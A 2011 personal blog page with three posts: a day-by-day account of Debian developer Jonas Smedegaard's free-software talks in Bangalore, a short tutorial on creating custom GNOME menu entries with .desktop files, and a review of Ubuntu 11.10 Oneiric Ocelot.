http://fossphosis.blogspot.com/2011/11/jonas-smedegaard-in-bangalore.html
https://alieniscogitationibus.wordpress.com/2011/11/06/debian-pureblends-and-the-freedom-box/
http://sreejithsblog.blogspot.com/2011/11/freedom-debian-pure-blends-and-jonaas.html

Friday, November 4, 2011

Jonas Smedegaard in Bangalore

Jonas Smedegaard : Debian developer is in Bengaluru and FSMK has been actively trying to get Jonas meet, interact and discuss with Free Software enthusiasts from the whole spectrum. Debian Pure Blends and FreedomBox are primarily on the agenda of Jonas' visit to India. So, most of the sessions would revolve around these.


The schedule for Jonas' visit, which I had worked out in consultation with Jonas has kept him occupied for most of the days ( and many a times making it hectic for him!).
Now that we are losing track of all that's happening, I thought it to be good if I could jot it down here. Will keep updating it further

  • 1st Nov: Jonas arrives, and although I was to escort him when he arrived, the train reaches early and I reach late - we then stumble upon each other serendipitously! Nice start :) 

  • 2nd Nov: No concrete schedule for the day, but casual interactions with some of our FSMK activists and enthusiasts

  • 3rd Nov: First of the formal talks at PES School of Engineering. Will gather more info about the talk itself from some of the audience and update it later. 
The talk was followed by a hurried, adhoc meeting with Secretary, Education Department, Government of Karnataka which was one of those unfruitful meetings. Nonetheless, an insight into the problem at hand of implementing Free Software in education did make itself clearer

 Towards the evening a dinner with Prof.Chatterjee from Indian Institute of Astrophysics, which turned out to be a vibrant discussion ranging from nuclear power to wars, to free software and astrophysics! We ended it with a eulogistic reminiscence of Neils Bohr!

  • 4th Nov: Free Software talk at Bangalore University in the morning. The talk has created extra interest amongst the audience, and we will look forward to creating an active GLUG there. 
Afternoon, a talk on FreedomBox and Debian Pureblends was organized at the Indian Institute of Science. Session details will be updated. 
Post talk, Jonas gave an interview to The Hindu

The day being so demanding, and all the sessions being monotonous, just to digress from the flow, it was arranged for Jonas to watch a carnatic classical music concert live. Will collect his views and update here!

  • 5th Nov: Another talk on Freedombox/Pureblends in BMS Institute of Technology scheduled in the morning. It will be followed by a casual GLUG members discussion on Debian, contribution etc...
  • 6th Nov: Debian Pureblends Packaging session at FSMK office, and the first hands on workshop in this stint! Looking forward to it.
    We're also working out a quick visit to the Ambedkar Community Computing Center.

  • 7th Nov: Jonas is leaving to Vietnam
This is for now! Will see if anymore appendages occur for the remaining time!

Sunday, October 23, 2011

Adding custom menu entries in Debian/Ubuntu

Some of the applications which we install from third party sources are not indexed in the Applications tab in the GNOME shell.

The problem in such a case is the high chances of forgetting what the application name is! And this happens so often with me, that I am forced to create these entries in the Applications menu.

Here's a simple procedure to do this. Although there's System->Preferences->Main Menu to do this, this one is better for some obvious reasons (you can give your custom icons)

  • The Applications Menu entries reside in the directory /usr/share/applications , and to create a new entry create a .desktop file in this directory
cd /usr/share/applications
sudo nano myapp.desktop

  • The .desktop files have just the information needed to put up an entry in the Applications tab, and to run your app; Here is the sample content of the Qtoctave entry from the file qtoctave.desktop
[Desktop Entry]
Version=1.0
Name=QtOctave
Comment=Graphical Qt frontend for GNU Octave
TryExec=qtoctave
Exec=qtoctave
Icon=qtoctave
Type=Application
Categories=Development;Math;Science;Education;Electronics
  • Make these entries into the myapp.desktop file with relevant modifications like your executable file name in the exec field.
  • After modification of the .desktop file, save and close it. Now, the entry should appear in the categories which you mention.
  • To add your application an icon, crop a 32x32 png image and add it into the default icons directory /usr/share/app-install/icons/,
sudo cp myicon.png /usr/share/app-install/icons/ 

In the Icon field of the .desktop file, provide the file name if the icon resides in the aforementioned default directory, or give the full path of the icon

And there you go, your own custom application entry with a custom icon!

Friday, October 14, 2011

Over to Oneiric Ocelot

Ubuntu 11.10 aka Oneiric Ocelot made a silent appearance yesterday in the Operating system arena. Although it has come silently, it does make quite a bit of noise with whatever it has brought along.


After Natty Narhwal and the controversial Unity, Oneiric Ocelot comes somewhat as a pacifier, with improvements on Unity (yes, Unity is here to stay) and official support to Gnome3.


Here are some salient features of Oneiric.
  • Linux kernel 3.0! 
Of all the reviews I had read, no one seemed to have noticed that Ubuntu 11.10 ships with the Linux 3 series kernel. That is certainly worth a mention. Although the Linux3.0 by itself has had no major changes except for the notation and rumors about power regression. Will keep an eye on the battery on my machine.


  • Unity revamped
As all other reviews have been posting, Unity does get a revamp and seems more stable. It responds quickly, no lag whatsoever. And the aesthetics are more pleasing than in Natty. When I am going to get Oneiric as my production OS, I will certainly want to have picked up all the keyboard shortcuts for Unity.
super+s, super+a, super+f and super+m are for now really handy to view the workspaces, browse applications, files and music respectively.

Another important aspect about the feel of Unity is the dash itself. The new dash is gorgeous which acquires a tinge correlating the backdrop of the other windows/the desktop itself.


  • Login screen is sleeker
Another small but pleasing change is on the Login screen itself. It looks simple, yet futuristic. There is also something about the new asterisk while typing the password which grabs one's attention :-)


  • No Me menu
The elaborate Me menu has been removed and a less elaborate dock with access to most performance options like Power, hardware, etc.. has been added. Unclear of the intent of this change though.
  • Evolution gives way to Thunderbird
Evolution the  long associate as the default mail client has been replaced with Mozilla Thunderbird. Having used only Evolution and not Thunderbird I'm not in  a position to comment on it. From Mozilla must be good. 

  • Software Centre is bigger, better
I haven't been a big fan of Software Center. Nonetheless, it has a more professional look and will be of certain use to new users. First thing, I am getting Synaptic, just for sentimental reasons ;-) 

  • Missing applications
After removing GIMP from the default install in Maverick, there's no Synaptic Package Manager and Pitivi video editor. Nonetheless, still very much supported by Ubuntu.
  • Miscellaneous: Default font all across is the Ubuntu font. Looks a little weird on the terminal though. The default set of wallpapers are amazing, except for the Oneiric one.
  • Installation took about 7 minutes and that is still the best in Industry!
  • Multitouch support still there; One point touch is left click, Two point touch is right click and the accelerometer simulation kind of an effect with the track pad are still thriving.
  • Booting takes about 10-12 seconds on a fresh install; Will see if it slows down as Natty did when I had loaded with hundreds of startup applications. 

 Of all the current OS'es, Oneiric, if not for everything, just for its aesthetics takes a far leap ahead!